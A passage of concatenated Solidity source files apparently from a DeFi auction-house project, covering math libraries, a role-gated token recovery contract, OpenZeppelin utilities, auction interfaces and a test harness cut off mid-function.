*/
library BasisMath {
uint256 internal constant FULL_PERCENT = 1e4; // 100.00% / 1000 bp
uint256 internal constant HALF_ONCE_SCALED = FULL_PERCENT / 2;
/**
* @dev Percentage pct, round 0.5+ up.
* @param self The value to take a percentage pct
* @param percentage The percentage to be calculated [e2]
* @return pct self * percentage
*/
function percentageOf(uint256 self, uint256 percentage)
internal
pure
returns (uint256 pct)
{
if (self == 0 || percentage == 0) {
pct = 0;
} else {
require(
self <= (type(uint256).max - HALF_ONCE_SCALED) / percentage,
"BasisMath/Overflow"
);
pct = (self * percentage + HALF_ONCE_SCALED) / FULL_PERCENT;
}
}
/**
* @dev Split value into percentage, round 0.5+ up.
* @param self The value to split
* @param percentage The percentage to be calculated [e2]
* @return pct The percentage of the value
* @return rem Anything leftover from the value
*/
function splitBy(uint256 self, uint256 percentage)
internal
pure
returns (uint256 pct, uint256 rem)
{
require(percentage <= FULL_PERCENT, "BasisMath/ExcessPercentage");
pct = percentageOf(self, percentage);
rem = self - pct;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
/// @title Function for getting block number
/// @dev Base contract that is overridden for tests
abstract contract BlockNumber {
/// @dev Method that exists purely to be overridden for tests
/// @return The current block number
function _blockNumber() internal view virtual returns (uint256) {
return block.number;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title Recoverable feature
* @dev should _only_ be used with contracts that should not store assets,
* but instead interacted with value so there is potential to lose assets.
*/
abstract contract Recoverable is AccessControl {
using SafeERC20 for IERC20;
using Address for address payable;
/* ========== CONSTANTS ========== */
bytes32 public constant RECOVER_ROLE = keccak256("RECOVER_ROLE");
/* ============ Events ============ */
event Recovered(address onBehalfOf, address tokenAddress, uint256 amount);
/* ========== MODIFIERS ========== */
modifier isRecoverer {
require(hasRole(RECOVER_ROLE, _msgSender()), "Recoverable/RecoverRole");
_;
}
/* ========== RESTRICTED FUNCTIONS ========== */
/* ----- RECOVER_ROLE ----- */
/**
* @notice Provide accidental token retrieval.
* @dev Sourced from synthetix/contracts/StakingRewards.sol
*/
function recoverERC20(
address to,
address tokenAddress,
uint256 tokenAmount
) external isRecoverer {
emit Recovered(to, tokenAddress, tokenAmount);
IERC20(tokenAddress).safeTransfer(to, tokenAmount);
}
/**
* @notice Provide accidental ETH retrieval.
*/
function recoverETH(address to) external isRecoverer {
uint256 contractBalance = address(this).balance;
emit Recovered(to, address(0), contractBalance);
payable(to).sendValue(contractBalance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
// https://docs.synthetix.io/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint256;
/* Number of decimal places in the representations. */
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
/* The number representing 1.0. */
uint256 public constant UNIT = 10**uint256(decimals);
/* The number representing 1.0 for higher fidelity numbers. */
uint256 public constant PRECISE_UNIT = 10**uint256(highPrecisionDecimals);
uint256 private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR =
10**uint256(highPrecisionDecimals - decimals);
/**
* @return Provides an interface to UNIT.
*/
function unit() external pure returns (uint256) {
return UNIT;
}
/**
* @return Provides an interface to PRECISE_UNIT.
*/
function preciseUnit() external pure returns (uint256) {
return PRECISE_UNIT;
}
/**
* @return The result of multiplying x and y, interpreting the operands as fixed-point
* decimals.
*
* @dev A unit factor is divided out after the product of x and y is evaluated,
* so that product must be less than 2**256. As this is an integer division,
* the internal division always rounds down. This helps save on gas. Rounding
* is more expensive on gas.
*/
function multiplyDecimal(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
/* Divide by UNIT to remove the extra factor introduced by the product. */
return x.mul(y) / UNIT;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of the specified precision unit.
*
* @dev The operands should be in the form of a the specified unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function _multiplyDecimalRound(
uint256 x,
uint256 y,
uint256 precisionUnit
) private pure returns (uint256) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
uint256 quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a precise unit.
*
* @dev The operands should be in the precise unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRoundPrecise(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a standard unit.
*
* @dev The operands should be in the standard unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRound(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return _multiplyDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is a high
* precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and UNIT must be less than 2**256. As
* this is an integer division, the result is always rounded down.
* This helps save on gas. Rounding is more expensive on gas.
*/
function divideDecimal(uint256 x, uint256 y) internal pure returns (uint256) {
/* Reintroduce the UNIT factor that will be divided out by y. */
return x.mul(UNIT).div(y);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* decimal in the precision unit specified in the parameter.
*
* @dev y is divided after the product of x and the specified precision unit
* is evaluated, so the product of x and the specified precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function _divideDecimalRound(
uint256 x,
uint256 y,
uint256 precisionUnit
) private pure returns (uint256) {
uint256 resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* standard precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and the standard precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRound(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return _divideDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* high precision decimal.
*
* @dev y is divided after the product of x and the high precision unit
* is evaluated, so the product of x and the high precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRoundPrecise(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @dev Convert a standard decimal representation to a high precision one.
*/
function decimalToPreciseDecimal(uint256 i) internal pure returns (uint256) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
/**
* @dev Convert a high precision decimal to a standard decimal representation.
*/
function preciseDecimalToDecimal(uint256 i) internal pure returns (uint256) {
uint256 quotientTimesTen =
i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "../tokens/interfaces/ISupplyControlledERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
/**
* @title SafeSupplyControlledERC20
* @dev Wrappers around Supply Controlled ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
*/
library SafeSupplyControlledERC20 {
using SafeMath for uint256;
using Address for address;
function safeBurnFrom(
ISupplyControlledERC20 token,
address from,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.burnFrom.selector, from, value)
);
}
function safeMint(
ISupplyControlledERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.mint.selector, to, value)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata =
address(token).functionCall(
data,
"SafeSupplyControlled/LowlevelCallFailed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeSupplyControlled/ERC20Failed"
);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
/// @title Auction House state that can change by governance.
/// @notice These methods provide vision on specific state that could be used in wrapper contracts.
interface IAuctionHouseState {
/**
* @notice The buffer around the starting price to handle mispriced / stale oracles.
* @dev Basis point
* Starts at 10% / 1e3 so market price is buffered by 110% or 90%
*/
function buffer() external view returns (uint16);
/**
* @notice The fee taken by the protocol.
* @dev Basis point
*/
function protocolFee() external view returns (uint16);
/**
* @notice The cap based on total FLOAT supply to change in a single auction. E.g. 10% cap => absolute max of 10% of total supply can be minted / burned
* @dev Basis point
*/
function allowanceCap() external view returns (uint32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import "./ICases.sol";
/// @title Auction House state that can change
/// @notice These methods compose the auctions state, and will change per action.
interface IAuctionHouseVariables is ICases {
/**
* @notice The number of auctions since inception.
*/
function round() external view returns (uint64);
/**
* @notice Returns data about a specific auction.
* @param roundNumber The round number for the auction array to fetch
* @return stabilisationCase The Auction struct including case
*/
function auctions(uint64 roundNumber)
external
view
returns (
Cases stabilisationCase,
uint256 targetFloatInEth,
uint256 marketFloatInEth,
uint256 bankInEth,
uint256 startWethPrice,
uint256 startBankPrice,
uint256 endWethPrice,
uint256 endBankPrice,
uint256 basketFactor,
uint256 delta,
uint256 allowance
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import "./IAuction.sol";
/// @title Auction House state that can change
/// @notice These methods are derived from the IAuctionHouseState.
interface IAuctionHouseDerivedState is IAuction {
/**
* @notice The price (that the Protocol with expect on expansion, and give on Contraction) for 1 FLOAT
* @dev Under cases, this value is used differently:
* - Contraction, Protocol buys FLOAT for pair.
* - Expansion, Protocol sells FLOAT for pair.
* @return wethPrice [e27] Expected price in wETH.
* @return bankPrice [e27] Expected price in BANK.
*/
function price() external view returns (uint256 wethPrice, uint256 bankPrice);
/**
* @notice The current step through the auction.
* @dev block numbers since auction start (0 indexed)
*/
function step() external view returns (uint256);
/**
* @notice Latest Auction alias
*/
function latestAuction() external view returns (Auction memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
/// @title Open Auction House actions
/// @notice Contains all actions that can be called by anyone
interface IAuctionHouseActions {
/**
* @notice Starts an auction
* @dev This will:
* - update the oracles
* - calculate the target price
* - check stabilisation case
* - create allowance.
* - Set start / end prices of the auction
*/
function start() external returns (uint64 newRound);
/**
* @notice Buy for an amount of <WETH, BANK> for as much FLOAT tokens as possible.
* @dev Expansion, Protocol sells FLOAT for pair.
As the price descends there should be no opportunity for slippage causing failure
`msg.sender` should already have given the auction allowance for at least `wethIn` and `bankIn`.
* `wethInMax` / `bankInMax` < 2**256 / 10**18, assumption is that totalSupply
* doesn't exceed type(uint128).max
* @param wethInMax The max amount of WETH to send (takes maximum from given ratio).
* @param bankInMax The max amount of BANK to send (takes maximum from given ratio).
* @param floatOutMin The minimum amount of FLOAT that must be received for this transaction not to revert.
* @param to Recipient of the FLOAT.
* @param deadline Unix timestamp after which the transaction will revert.
*/
function buy(
uint256 wethInMax,
uint256 bankInMax,
uint256 floatOutMin,
address to,
uint256 deadline
)
external
returns (
uint256 usedWethIn,
uint256 usedBankIn,
uint256 usedFloatOut
);
/**
* @notice Sell an amount of FLOAT for the given reward tokens.
* @dev Contraction, Protocol buys FLOAT for pair. `msg.sender` should already have given the auction allowance for at least `floatIn`.
* @param floatIn The amount of FLOAT to sell.
* @param wethOutMin The minimum amount of WETH that can be received before the transaction reverts.
* @param bankOutMin The minimum amount of BANK that can be received before the tranasction reverts.
* @param to Recipient of <WETH, BANK>.
* @param deadline Unix timestamp after which the transaction will revert.
*/
function sell(
uint256 floatIn,
uint256 wethOutMin,
uint256 bankOutMin,
address to,
uint256 deadline
)
external
returns (
uint256 usedfloatIn,
uint256 usedWethOut,
uint256 usedBankOut
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
/// @title Auction House actions that require certain level of privilege
/// @notice Contains Auction House methods that may only be called by controller
interface IAuctionHouseGovernedActions {
/**
* @notice Modify a uint256 parameter
* @param parameter The parameter name to modify
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external;
/**
* @notice Modify an address parameter
* @param parameter The parameter name to modify
* @param data New address for the parameter
*/
function modifyParameters(bytes32 parameter, address data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
/// @title Events emitted by the auction house
/// @notice Contains all events emitted by the auction house
interface IAuctionHouseEvents {
event NewAuction(
uint256 indexed round,
uint256 allowance,
uint256 targetFloatInEth,
uint256 startBlock
);
event Buy(
uint256 indexed round,
address indexed buyer,
uint256 wethIn,
uint256 bankIn,
uint256 floatOut
);
event Sell(
uint256 indexed round,
address indexed seller,
uint256 floatIn,
uint256 wethOut,
uint256 bankOut
);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
interface ICases {
/**
* @dev The Stabilisation Cases
* Up (Expansion) - Estimated market price >= target price & Basket Factor >= 1.
* Restock (Expansion) - Estimated market price >= target price & Basket Factor < 1.
* Confidence (Contraction) - Estimated market price < target price & Basket Factor >= 1.
* Down (Contraction) - Estimated market price < target price & Basket Factor < 1.
*/
enum Cases {Up, Restock, Confidence, Down}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import "./ICases.sol";
interface IAuction is ICases {
/**
* The current Stabilisation Case
* Auction's target price.
* Auction's floatInEth price.
* Auction's bankInEth price.
* Auction's basket factor.
* Auction's used float delta.
* Auction's allowed float delta (how much FLOAT can be created or burned).
*/
struct Auction {
Cases stabilisationCase;
uint256 targetFloatInEth;
uint256 marketFloatInEth;
uint256 bankInEth;
uint256 startWethPrice;
uint256 startBankPrice;
uint256 endWethPrice;
uint256 endBankPrice;
uint256 basketFactor;
uint256 delta;
uint256 allowance;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.7.6;
pragma abicoder v2;
import "../AuctionHouse.sol";
contract AuctionHouseHarness is AuctionHouse {
uint256 public blockNumber;
constructor(
// Dependencies
address _weth,
address _bank,
address _float,
address _basket,
address _monetaryPolicy,
address _gov,
address _bankEthOracle,
address _floatEthOracle,
// Parameters
uint16 _auctionDuration,
uint32 _auctionCooldown,
uint256 _firstAuctionBlock
)
AuctionHouse(
_weth,
_bank,
_float,
_basket,
_monetaryPolicy,
_gov,
_bankEthOracle,
_floatEthOracle,
_auctionDuration,
_auctionCooldown,
_firstAuctionBlock
)
{}
function _blockNumber() internal view override returns (uint256) {
